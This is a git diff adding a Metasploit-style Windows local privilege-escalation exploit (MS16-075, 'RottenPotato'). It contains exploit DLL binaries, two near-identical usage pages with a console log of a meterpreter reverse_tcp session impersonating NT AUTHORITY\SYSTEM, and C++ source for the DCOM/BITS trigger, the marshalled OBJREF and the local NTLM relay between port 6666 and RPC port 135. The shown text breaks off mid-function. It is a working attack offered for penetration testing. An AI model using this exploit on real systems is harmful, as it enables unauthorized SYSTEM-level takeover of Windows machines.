diff --git a/data/exploits/rottenpotato/rottenpotato.x64.dll b/data/exploits/rottenpotato/rottenpotato.x64.dll new file mode 100644 index 0000000000..d035d1a151 Binary files /dev/null and b/data/exploits/rottenpotato/rottenpotato.x64.dll differ diff --git a/data/exploits/rottenpotato/rottenpotato.x86.dll b/data/exploits/rottenpotato/rottenpotato.x86.dll new file mode 100644 index 0000000000..9da2efd5d8 Binary files /dev/null and b/data/exploits/rottenpotato/rottenpotato.x86.dll differ diff --git a/documentation/modules/exploit/windows/local/ms16_075_reflection.md b/documentation/modules/exploit/windows/local/ms16_075_reflection.md new file mode 100644 index 0000000000..a726d11e6d --- /dev/null +++ b/documentation/modules/exploit/windows/local/ms16_075_reflection.md @@ -0,0 +1,65 @@ +## Intro + This module will abuse the SeImperonsate privilege commonly found in +services due to the requirement to impersonate a client upon +authentication. As such it is possible to impersonate the SYSTEM account +and relay its NTLM hash to RPC via DCOM. The DLL will perform a MiTM +attack at which intercepts the hash and relay responses from RPC to be +able to establish a handle to a new SYSTEM token. Some caveats : Set +your target option to match the architecture of your Meterpreter +session, else it will inject the wrong architecture DLL into the process +of a seperate architecture. Additionally, after you have established a +session, you must use incognito to imperonsate the SYSTEM Token. + +## Build Instructions +This builds using visual studio 2017 and tools v141. Attempts +to compile with previous verstions of build tools will succeed but +the resulting binary fails to exploit the vulnerability. + +## Usage + You'll first need to obtain a session on the target system. + Next, once the module is loaded, one simply needs to set the +```payload``` and ```session``` options, in addition to architecture. + + Your user at which you are trying to exploit must have `SeImpersonate` +privileges. + + The module has a hardcoded timeout of 20 seconds, as the attack may +not work immediately and take a few seconds to start. Also, check to +make sure port 6666 is inherently not in use else the exploit will not +run properly + +## Scenario +``` + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION 48 yes The session to run this module on. Payload options +(windows/x64/meterpreter/reverse_tcp): + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, +process, none) + LHOST ens3 yes The listen address (an interface may be specified) + LPORT 3312 yes The listen port Exploit target: + Id Name + -- ---- + 1 Windows x64 msf exploit(windows/local/ms16_075_reflection) > run +[*] Started reverse TCP handler on -snip-:3312 +[*] Launching notepad to host the exploit... [+] Process 3564 launched. +[*] Reflectively injecting the exploit DLL into 3564... +[*] Injecting exploit into 3564... +[*] Exploit injected. Injecting payload into 3564... +[*] Payload injected. Executing exploit.. +[+] Exploit finished, wait for (hopefully privileged) payload execution to complete. +[*] Sending stage (206403 bytes) to -snip- +[*] Meterpreter session 49 opened (-snip-:3312 -> -snip-:55306) at 2018-08-03 01:54:18 -0400 +meterpreter > load incognito +Loading extension incognito...Success. +meterpreter > impersonate_token +'NT AUTHORITY\SYSTEM' +[-] Warning: Not currently running as SYSTEM, not all tokens will be available + Call rev2self if primary process token is SYSTEM +[-] No delegation token available +[+] Successfully impersonated user NT AUTHORITY\SYSTEM +meterpreter > getsystem -t 1 ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). +meterpreter > +``` diff --git a/documentation/modules/exploit/windows/local/ms16_reflection.md b/documentation/modules/exploit/windows/local/ms16_reflection.md new file mode 100644 index 0000000000..2f93932baf --- /dev/null +++ b/documentation/modules/exploit/windows/local/ms16_reflection.md @@ -0,0 +1,55 @@ +## Intro + This module will abuse the SeImperonsate privilege commonly found in +services due to the requirement to impersonate a client upon +authentication. As such it is possible to impersonate the SYSTEM account +and relay its NTLM hash to RPC via DCOM. The DLL will perform a MiTM +attack at which intercepts the hash and relay responses from RPC to be +able to establish a handle to a new SYSTEM token. Some caveats : Set +your target option to match the architecture of your Meterpreter +session, else it will inject the wrong architecture DLL into the process +of a seperate architecture. Additionally, after you have established a +session, you must use incognito to imperonsate the SYSTEM Token. +## Usage + You'll first need to obtain a session on the target system. + Next, once the module is loaded, one simply needs to set the +```payload``` and ```session``` options, in addition to architecture. + + Your user at which you are trying to exploit must have `SeImpersonate` +privileges. + + The module has a hardcoded timeout of 20 seconds, as the attack may +not work immediately and take a few seconds to start. Also, check to +make sure port 6666 is inherently not in use else the exploit will not +run properly + +## Scenario +``` + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION 48 yes The session to run this module on. Payload options +(windows/x64/meterpreter/reverse_tcp): + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, +process, none) + LHOST ens3 yes The listen address (an interface may be specified) + LPORT 3312 yes The listen port Exploit target: + Id Name + -- ---- + 1 Windows x64 msf exploit(windows/local/ms16_075_reflection) > run +[*] Started reverse TCP handler on -snip-:3312 [*] Launching notepad to +host the exploit... [+] Process 3564 launched. [*] Reflectively +injecting the exploit DLL into 3564... [*] Injecting exploit into +3564... [*] Exploit injected. Injecting payload into 3564... [*] Payload +injected. Executing exploit... [+] Exploit finished, wait for (hopefully +privileged) payload execution to complete. [*] Sending stage (206403 +bytes) to -snip- [*] Meterpreter session 49 opened (-snip-:3312 -> +-snip-:55306) at 2018-08-03 01:54:18 -0400 meterpreter > load incognito +Loading extension incognito...Success. meterpreter > impersonate_token +'NT AUTHORITY\SYSTEM' [-] Warning: Not currently running as SYSTEM, not +all tokens will be available + Call rev2self if primary process token is SYSTEM [-] No +delegation token available [+] Successfully impersonated user NT +AUTHORITY\SYSTEM meterpreter > getsystem -t 1 ...got system via +technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > +``` diff --git a/external/source/exploits/rottenpotato/MSFRottenPotato.sln b/external/source/exploits/rottenpotato/MSFRottenPotato.sln new file mode 100755 index 0000000000..56c5d0f2f8 --- /dev/null +++ b/external/source/exploits/rottenpotato/MSFRottenPotato.sln @@ -0,0 +1,32 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.26403.7 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MSFRottenPotato", "MSFRottenPotato\MSFRottenPotato.vcxproj", "{4164003E-BA47-4A95-8586-D5AAC399C050}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x64.ActiveCfg = Debug|x64 + {4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x64.Build.0 = Debug|x64 + {4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x86.ActiveCfg = Debug|Win32 + {4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x86.Build.0 = Debug|Win32 + {4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x64.ActiveCfg = Release|x64 + {4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x64.Build.0 = Release|x64 + {4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x64.Deploy.0 = Release|x64 + {4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x86.ActiveCfg = Release|Win32 + {4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {F17C3DED-70DC-4318-B6D7-1477B2D4D79D} + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/rottenpotato/MSFRottenPotato/BlockingQueue.h b/external/source/exploits/rottenpotato/MSFRottenPotato/BlockingQueue.h new file mode 100755 index 0000000000..f4ce017977 --- /dev/null +++ b/external/source/exploits/rottenpotato/MSFRottenPotato/BlockingQueue.h @@ -0,0 +1,42 @@ +#pragma once +#include +#include +#include +#include "stdafx.h" + +typedef std::mutex Mutex; +template class BlockingQueue{ +public: + void push(const ITEM& value) { // push + std::lock_guard lock(mutex); + queue.push(std::move(value)); + condition.notify_one(); + } + bool try_pop(ITEM& value) { // non-blocking pop + std::lock_guard lock(mutex); + if (queue.empty()) return false; + value = std::move(queue.front()); + queue.pop(); + return true; + } + ITEM wait_pop() { // blocking pop + std::unique_lock lock(mutex); + condition.wait(lock, [this] {return !queue.empty(); }); + ITEM const value = std::move(queue.front()); + queue.pop(); + return value; + } + bool empty() const { // queue is empty? + std::lock_guard lock(mutex); + return queue.empty(); + } + void clear() { // remove all items + ITEM item; + while (try_pop(item)); + } +private: + Mutex mutex; + std::queue queue; + std::condition_variable condition; +}; + diff --git a/external/source/exploits/rottenpotato/MSFRottenPotato/IStorageTrigger.cpp b/external/source/exploits/rottenpotato/MSFRottenPotato/IStorageTrigger.cpp new file mode 100644 index 0000000000..06b9b7361b --- /dev/null +++ b/external/source/exploits/rottenpotato/MSFRottenPotato/IStorageTrigger.cpp @@ -0,0 +1,143 @@ +#include "stdafx.h" +#include "IStorageTrigger.h" +#include +#include + +IStorageTrigger::IStorageTrigger(IStorage *istg) { + _stg = istg; + m_cRef = 1; + return; +} + +HRESULT IStorageTrigger::DisconnectObject(DWORD dwReserved) { + return 0; +} +HRESULT IStorageTrigger::GetMarshalSizeMax(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, DWORD *pSize) { + *pSize = 1024; + return 0; +} +HRESULT IStorageTrigger::GetUnmarshalClass(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, CLSID *pCid) { + CLSIDFromString(OLESTR("{00000306-0000-0000-c000-000000000046}"), pCid); + return 0; +} +HRESULT IStorageTrigger::MarshalInterface(IStream *pStm, const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags) { + byte data[] = { 0x4D, 0x45, 0x4F, 0x57, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x94, 0x09, 0x34, 0x76, + 0xC0, 0xF0, 0x15, 0xD8, 0x19, 0x8F, 0x4A, 0xA2, 0xCE, 0x05, 0x60, 0x86, 0xA3, 0x2A, 0x0F, 0x09, 0x24, 0xE8, 0x70, + 0x2A, 0x85, 0x65, 0x3B, 0x33, 0x97, 0xAA, 0x9C, 0xEC, 0x16, 0x00, 0x12, 0x00, 0x07, 0x00, 0x31, 0x00, 0x32, 0x00, + 0x37, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x31, 0x00, 0x5B, 0x00, 0x36, 0x00, 0x36, + 0x00, 0x36, 0x00, 0x36, 0x00, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00 }; + ULONG written = 0; + int szData = sizeof(data); + pStm->Write(&data, sizeof(data), &written); + return 0; +} +HRESULT IStorageTrigger::ReleaseMarshalData(IStream *pStm) { + return 0; +} +HRESULT IStorageTrigger::UnmarshalInterface(IStream *pStm, const IID &riid, void **ppv) { + *ppv = 0; + return 0; +} +HRESULT IStorageTrigger::Commit(DWORD grfCommitFlags) { + _stg->Commit(grfCommitFlags); + return 0; +} +HRESULT IStorageTrigger::CopyTo(DWORD ciidExclude, const IID *rgiidExclude, SNB snbExclude, IStorage *pstgDest) { + _stg->CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest); + return 0; +} +HRESULT IStorageTrigger::CreateStorage(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStorage **ppstg) { + _stg->CreateStorage(pwcsName, grfMode, reserved1, reserved2, ppstg); + return 0; +} +HRESULT IStorageTrigger::CreateStream(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStream **ppstm) { + _stg->CreateStream(pwcsName, grfMode, reserved1, reserved2, ppstm); + return 0; +} +HRESULT IStorageTrigger::DestroyElement(const OLECHAR *pwcsName) { + _stg->DestroyElement(pwcsName); + return 0; +} +HRESULT IStorageTrigger::EnumElements(DWORD reserved1, void *reserved2, DWORD reserved3, IEnumSTATSTG **ppenum) { + _stg->EnumElements(reserved1, reserved2, reserved3, ppenum); + return 0; +} +HRESULT IStorageTrigger::MoveElementTo(const OLECHAR *pwcsName, IStorage *pstgDest, const OLECHAR *pwcsNewName, DWORD grfFlags) { + _stg->MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags); + return 0; +} +HRESULT IStorageTrigger::OpenStorage(const OLECHAR *pwcsName, IStorage *pstgPriority, DWORD grfMode, SNB snbExclude, DWORD reserved, IStorage **ppstg) { + _stg->OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, ppstg); + return 0; +} +HRESULT IStorageTrigger::OpenStream(const OLECHAR *pwcsName, void *reserved1, DWORD grfMode, DWORD reserved2, IStream **ppstm) { + _stg->OpenStream(pwcsName, reserved1, grfMode, reserved2, ppstm); + return 0; +} +HRESULT IStorageTrigger::RenameElement(const OLECHAR *pwcsOldName, const OLECHAR *pwcsNewName) { + return 0; +} +HRESULT IStorageTrigger::Revert() { + return 0; +} +HRESULT IStorageTrigger::SetClass(const IID &clsid) { + return 0; +} +HRESULT IStorageTrigger::SetElementTimes(const OLECHAR *pwcsName, const FILETIME *pctime, const FILETIME *patime, const FILETIME *pmtime) { + return 0; +} +HRESULT IStorageTrigger::SetStateBits(DWORD grfStateBits, DWORD grfMask) { + return 0; +} +HRESULT IStorageTrigger::Stat(STATSTG *pstatstg, DWORD grfStatFlag) { + _stg->Stat(pstatstg, grfStatFlag); + + //Allocate from heap because apparently this will get freed in OLE32 + const wchar_t c_s[] = L"hello.stg"; + wchar_t *s = (wchar_t*)CoTaskMemAlloc(sizeof(c_s)); + wcscpy(s, c_s); + pstatstg[0].pwcsName = s; + return 0; +} + +///////////////////////IUknown Interface +HRESULT IStorageTrigger::QueryInterface(const IID &riid, void **ppvObj) { + // Always set out parameter to NULL, validating it first. + if (!ppvObj) + return E_INVALIDARG; + if (riid == IID_IUnknown) + { + *ppvObj = static_cast(this); + //reinterpret_cast(*ppvObj)->AddRef(); + } + else if (riid == IID_IStorage) + { + *ppvObj = static_cast(this); + } + else if (riid == IID_IMarshal) + { + *ppvObj = static_cast(this); + } + else + { + *ppvObj = NULL; + return E_NOINTERFACE; + } + // Increment the reference count and return the pointer. + + return S_OK; + +} + + +ULONG IStorageTrigger::AddRef() { + m_cRef++; + return m_cRef; +} + +ULONG IStorageTrigger::Release() { + // Decrement the object's internal counter. + ULONG ulRefCount = m_cRef--; + return ulRefCount; +} diff --git a/external/source/exploits/rottenpotato/MSFRottenPotato/IStorageTrigger.h b/external/source/exploits/rottenpotato/MSFRottenPotato/IStorageTrigger.h new file mode 100644 index 0000000000..bf38e5b1bf --- /dev/null +++ b/external/source/exploits/rottenpotato/MSFRottenPotato/IStorageTrigger.h @@ -0,0 +1,35 @@ +#pragma once +#include "Objidl.h" + +class IStorageTrigger : public IMarshal, public IStorage { +private: + IStorage *_stg; + int m_cRef; +public: + IStorageTrigger(IStorage *stg); + HRESULT STDMETHODCALLTYPE DisconnectObject(DWORD dwReserved); + HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, DWORD *pSize); + HRESULT STDMETHODCALLTYPE GetUnmarshalClass(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, CLSID *pCid); + HRESULT STDMETHODCALLTYPE MarshalInterface(IStream *pStm, const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags); + HRESULT STDMETHODCALLTYPE ReleaseMarshalData(IStream *pStm); + HRESULT STDMETHODCALLTYPE UnmarshalInterface(IStream *pStm, const IID &riid, void **ppv); + HRESULT STDMETHODCALLTYPE Commit(DWORD grfCommitFlags); + HRESULT STDMETHODCALLTYPE CopyTo(DWORD ciidExclude, const IID *rgiidExclude, SNB snbExclude, IStorage *pstgDest); + HRESULT STDMETHODCALLTYPE CreateStorage(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStorage **ppstg); + HRESULT STDMETHODCALLTYPE CreateStream(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStream **ppstm); + HRESULT STDMETHODCALLTYPE DestroyElement(const OLECHAR *pwcsName); + HRESULT STDMETHODCALLTYPE EnumElements(DWORD reserved1, void *reserved2, DWORD reserved3, IEnumSTATSTG **ppenum); + HRESULT STDMETHODCALLTYPE MoveElementTo(const OLECHAR *pwcsName, IStorage *pstgDest, const OLECHAR *pwcsNewName, DWORD grfFlags); + HRESULT STDMETHODCALLTYPE OpenStorage(const OLECHAR *pwcsName, IStorage *pstgPriority, DWORD grfMode, SNB snbExclude, DWORD reserved, IStorage **ppstg); + HRESULT STDMETHODCALLTYPE OpenStream(const OLECHAR *pwcsName, void *reserved1, DWORD grfMode, DWORD reserved2, IStream **ppstm); + HRESULT STDMETHODCALLTYPE RenameElement(const OLECHAR *pwcsOldName, const OLECHAR *pwcsNewName); + HRESULT STDMETHODCALLTYPE Revert(); + HRESULT STDMETHODCALLTYPE SetClass(const IID &clsid); + HRESULT STDMETHODCALLTYPE SetElementTimes(const OLECHAR *pwcsName, const FILETIME *pctime, const FILETIME *patime, const FILETIME *pmtime); + HRESULT STDMETHODCALLTYPE SetStateBits(DWORD grfStateBits, DWORD grfMask); + HRESULT STDMETHODCALLTYPE Stat(STATSTG *pstatstg, DWORD grfStatFlag); + + HRESULT STDMETHODCALLTYPE QueryInterface(const IID &riid, void **ppvObject); + ULONG STDMETHODCALLTYPE AddRef(); + ULONG STDMETHODCALLTYPE Release(); +}; \ No newline at end of file diff --git a/external/source/exploits/rottenpotato/MSFRottenPotato/LocalNegotiator.cpp b/external/source/exploits/rottenpotato/MSFRottenPotato/LocalNegotiator.cpp new file mode 100644 index 0000000000..ef78d02e8e --- /dev/null +++ b/external/source/exploits/rottenpotato/MSFRottenPotato/LocalNegotiator.cpp @@ -0,0 +1,115 @@ +#include "stdafx.h" +#include "LocalNegotiator.h" +#include + +LocalNegotiator::LocalNegotiator() +{ + authResult = -1; +} + +void InitTokenContextBuffer(PSecBufferDesc pSecBufferDesc, PSecBuffer pSecBuffer) +{ + pSecBuffer->BufferType = SECBUFFER_TOKEN; + pSecBuffer->cbBuffer = 0; + pSecBuffer->pvBuffer = nullptr; + + pSecBufferDesc->ulVersion = SECBUFFER_VERSION; + pSecBufferDesc->cBuffers = 1; + pSecBufferDesc->pBuffers = pSecBuffer; +} + +int LocalNegotiator::handleType1(char * ntlmBytes, int len) +{ + TCHAR lpPackageName[1024] = L"Negotiate"; + TimeStamp ptsExpiry; + + int status = AcquireCredentialsHandle( + NULL, + lpPackageName, + SECPKG_CRED_INBOUND, + NULL, + NULL, + 0, + NULL, + &hCred, + &ptsExpiry); + + if (status != SEC_E_OK) + { + printf("Error in AquireCredentialsHandle"); + return -1; + } + + InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer); + InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer); + + phContext = new CtxtHandle(); + + secClientBuffer.cbBuffer = static_cast(len); + secClientBuffer.pvBuffer = ntlmBytes; + + ULONG fContextAttr; + TimeStamp tsContextExpiry; + + status = AcceptSecurityContext( + &hCred, + nullptr, + &secClientBufferDesc, + ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION, + //STANDARD_CONTEXT_ATTRIBUTES, + SECURITY_NATIVE_DREP, + phContext, + &secServerBufferDesc, + &fContextAttr, + &tsContextExpiry); + + return status; +} + +int LocalNegotiator::handleType2(char * ntlmBytes, int len) +{ + char* newNtlmBytes = (char*) secServerBuffer.pvBuffer; + if (len >= secServerBuffer.cbBuffer) { + for (int i = 0; i < len; i++) + { + if (i < secServerBuffer.cbBuffer) { + ntlmBytes[i] = newNtlmBytes[i]; + } + else { + ntlmBytes[i] = 0x00; + } + } + } + else { + printf("Buffer sizes incompatible - can't replace"); + } + + return 0; +} + +int LocalNegotiator::handleType3(char * ntlmBytes, int len) +{ + InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer); + InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer); + + secClientBuffer.cbBuffer = static_cast(len); + secClientBuffer.pvBuffer = ntlmBytes; + + ULONG fContextAttr; + TimeStamp tsContextExpiry; + int status = AcceptSecurityContext( + &hCred, + phContext, + &secClientBufferDesc, + ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION, + //STANDARD_CONTEXT_ATTRIBUTES, + SECURITY_NATIVE_DREP, + phContext, + &secServerBufferDesc, + &fContextAttr, + &tsContextExpiry); + + authResult = status; + + return status; +} diff --git a/external/source/exploits/rottenpotato/MSFRottenPotato/LocalNegotiator.h b/external/source/exploits/rottenpotato/MSFRottenPotato/LocalNegotiator.h new file mode 100644 index 0000000000..b1c8bf5e53 --- /dev/null +++ b/external/source/exploits/rottenpotato/MSFRottenPotato/LocalNegotiator.h @@ -0,0 +1,21 @@ +#define SECURITY_WIN32 + +#pragma once +#include +#include +class LocalNegotiator +{ +public: + LocalNegotiator(); + int handleType1(char* ntlmBytes, int len); + int handleType2(char* ntlmBytes, int len); + int handleType3(char* ntlmBytes, int len); + PCtxtHandle phContext; + int authResult; + +private: + CredHandle hCred; + SecBufferDesc secClientBufferDesc, secServerBufferDesc; + SecBuffer secClientBuffer, secServerBuffer; +}; + diff --git a/external/source/exploits/rottenpotato/MSFRottenPotato/MSFRottenPotato.cpp b/external/source/exploits/rottenpotato/MSFRottenPotato/MSFRottenPotato.cpp new file mode 100644 index 0000000000..ca2dfaf98a --- /dev/null +++ b/external/source/exploits/rottenpotato/MSFRottenPotato/MSFRottenPotato.cpp @@ -0,0 +1,374 @@ +#include "stdafx.h" +#include "MSFRottenPotato.h" +#include "IStorageTrigger.h" +#include +#include +#include +#include +#include +#pragma comment (lib, "Ws2_32.lib") +#pragma comment (lib, "Mswsock.lib") +#pragma comment (lib, "AdvApi32.lib") + +int CMSFRottenPotato::newConnection; + +// This is the constructor of a class that has been exported. +// see MSFRottenPotato.h for the class definition +CMSFRottenPotato::CMSFRottenPotato() +{ + comSendQ = new BlockingQueue(); + rpcSendQ = new BlockingQueue(); + newConnection = 0; + negotiator = new LocalNegotiator(); + return; +} + + +DWORD CMSFRottenPotato::startRPCConnectionThread() { + DWORD ThreadID; + CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)staticStartRPCConnection, (void*)this, 0, &ThreadID); + return ThreadID; +} + +DWORD CMSFRottenPotato::startCOMListenerThread() { + DWORD ThreadID; + CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)staticStartCOMListener, (void*)this, 0, &ThreadID); + return ThreadID; +} + +DWORD WINAPI CMSFRottenPotato::staticStartRPCConnection(void* Param) +{ + CMSFRottenPotato* This = (CMSFRottenPotato*)Param; + return This->startRPCConnection(); +} + +DWORD WINAPI CMSFRottenPotato::staticStartCOMListener(void* Param) +{ + CMSFRottenPotato* This = (CMSFRottenPotato*)Param; + return This->startCOMListener(); +} + +int CMSFRottenPotato::findNTLMBytes(char *bytes, int len) { + //Find the NTLM bytes in a packet and return the index to the start of the NTLMSSP header. + //The NTLM bytes (for our purposes) are always at the end of the packet, so when we find the header, + //we can just return the index + char pattern[7] = { 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50 }; + int pIdx = 0; + int i; + for (i = 0; i < len; i++) { + if (bytes[i] == pattern[pIdx]) { + pIdx = pIdx + 1; + if (pIdx == 7) return (i - 6); + } + else { + pIdx = 0; + } + } + return -1; +} + +int CMSFRottenPotato::processNtlmBytes(char *bytes, int len) { + int ntlmLoc = findNTLMBytes(bytes, len); + if (ntlmLoc == -1) return -1; + + int messageType = bytes[ntlmLoc + 8]; + switch (messageType) { + //NTLM type 1 message + case 1: + negotiator->handleType1(bytes + ntlmLoc, len - ntlmLoc); + break; + //NTLM type 2 message + case 2: + negotiator->handleType2(bytes + ntlmLoc, len - ntlmLoc); + break; + //NTLM type 3 message + case 3: + negotiator->handleType3(bytes + ntlmLoc, len - ntlmLoc); + break; + default: + return -1; + break; + } + return 0; +} + +int checkForNewConnection(SOCKET* ListenSocket, SOCKET* ClientSocket) { + fd_set readSet; + FD_ZERO(&readSet); + FD_SET(*ListenSocket, &readSet); + timeval timeout; + timeout.tv_sec = 1; // Zero timeout (poll) + timeout.tv_usec = 0; + if (select(*ListenSocket, &readSet, NULL, NULL, &timeout) == 1) { + *ClientSocket = accept(*ListenSocket, NULL, NULL); + return 1; + } + return 0; +} + +int CMSFRottenPotato::triggerDCOM(void) +{ + CoInitialize(nullptr); + + //Create IStorage object + IStorage *stg = NULL; + ILockBytes *lb = NULL; + CreateILockBytesOnHGlobal(NULL, true, &lb); + StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg); + + //Initialze IStorageTrigger object + IStorageTrigger* t = new IStorageTrigger(stg); + + //Prep a few more args for CoGetInstanceFromIStorage + CLSID clsid; + //BITS IID + CLSIDFromString(OLESTR("{4991d34b-80a1-4291-83b6-3328366b9097}"), &clsid); + CLSID tmp; + //IUnknown IID + CLSIDFromString(OLESTR("{00000000-0000-0000-C000-000000000046}"), &tmp); + MULTI_QI qis[1]; + qis[0].pIID = &tmp; + qis[0].pItf = NULL; + qis[0].hr = 0; + + //Call CoGetInstanceFromIStorage + HRESULT status = CoGetInstanceFromIStorage(NULL, &clsid, NULL, CLSCTX_LOCAL_SERVER, t, 1, qis); + + return 0; +} + +int CMSFRottenPotato::startRPCConnection(void) { + const int DEFAULT_BUFLEN = 4096; + PCSTR DEFAULT_PORT = "135"; + PCSTR host = "127.0.0.1"; + + WSADATA wsaData; + SOCKET ConnectSocket = INVALID_SOCKET; + struct addrinfo *result = NULL, + *ptr = NULL, + hints; + + char *sendbuf; + char recvbuf[DEFAULT_BUFLEN]; + int iResult; + int recvbuflen = DEFAULT_BUFLEN; + + // Initialize Winsock + iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); + if (iResult != 0) { + return 1; + } + + ZeroMemory(&hints, sizeof(hints)); + hints.ai_family = AF_UNSPEC; + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = IPPROTO_TCP; + + // Resolve the server address and port + iResult = getaddrinfo(host, DEFAULT_PORT, &hints, &result); + if (iResult != 0) { + WSACleanup(); + return 1; + } + + // Attempt to connect to an address until one succeeds + for (ptr = result; ptr != NULL; ptr = ptr->ai_next) { + + // Create a SOCKET for connecting to server + ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, + ptr->ai_protocol); + if (ConnectSocket == INVALID_SOCKET) { + WSACleanup(); + return 1; + } + + // Connect to server. + iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen); + if (iResult == SOCKET_ERROR) { + closesocket(ConnectSocket); + ConnectSocket = INVALID_SOCKET; + continue; + } + break; + } + + if (ConnectSocket == INVALID_SOCKET) { + WSACleanup(); + return 1; + } + + // Send/Receive until the peer closes the connection + do { + + //Monitor our sendQ until we have some data to send + int *len = (int*)rpcSendQ->wait_pop(); + sendbuf = rpcSendQ->wait_pop(); + + //Check if we should be opening a new socket before we send the data + if (newConnection == 1) { + //closesocket(ConnectSocket); + ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol); + connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen); + newConnection = 0; + } + + iResult = send(ConnectSocket, sendbuf, *len, 0); + if (iResult == SOCKET_ERROR) { + closesocket(ConnectSocket); + WSACleanup(); + return 1; + } + + iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0); + if (iResult > 0) { + comSendQ->push((char*)&iResult); + comSendQ->push(recvbuf); + } + else if (iResult == 0) + printf("RPC-> Connection closed\n"); + else + printf("RPC -> recv failed with error: %d\n", WSAGetLastError()); + + } while (iResult > 0); + + // cleanup + iResult = shutdown(ConnectSocket, SD_SEND); + closesocket(ConnectSocket); + WSACleanup(); + + return 0; +} + +int CMSFRottenPotato::startCOMListener(void) { + const int DEFAULT_BUFLEN = 4096; + PCSTR DEFAULT_PORT = "6666"; + + WSADATA wsaData; + int iResult; + + SOCKET ListenSocket = INVALID_SOCKET; + SOCKET ClientSocket = INVALID_SOCKET; + + struct addrinfo *result = NULL; + struct addrinfo hints; + + int iSendResult; + char *sendbuf; + + char recvbuf[DEFAULT_BUFLEN]; + int recvbuflen = DEFAULT_BUFLEN; + + // Initialize Winsock + iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); + if (iResult != 0) { + return 1; + } + + ZeroMemory(&hints, sizeof(hints)); + hints.ai_family = AF_INET; + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = IPPROTO_TCP; + hints.ai_flags = AI_PASSIVE; + + // Resolve the server address and port + iResult = getaddrinfo(NULL, DEFAULT_PORT, &hints, &result); + if (iResult != 0) { + WSACleanup(); + return 1; + } + + // Create a SOCKET for connecting to server + ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol); + if (ListenSocket == INVALID_SOCKET) { + freeaddrinfo(result); + WSACleanup(); + return 1; + } + + // Setup the TCP listening socket + iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen); + if (iResult == SOCKET_ERROR) { + freeaddrinfo(result); + closesocket(ListenSocket); + WSACleanup(); + return 1; + } + + freeaddrinfo(result); + + iResult = listen(ListenSocket, SOMAXCONN); + if (iResult == SOCKET_ERROR) { + closesocket(ListenSocket); + 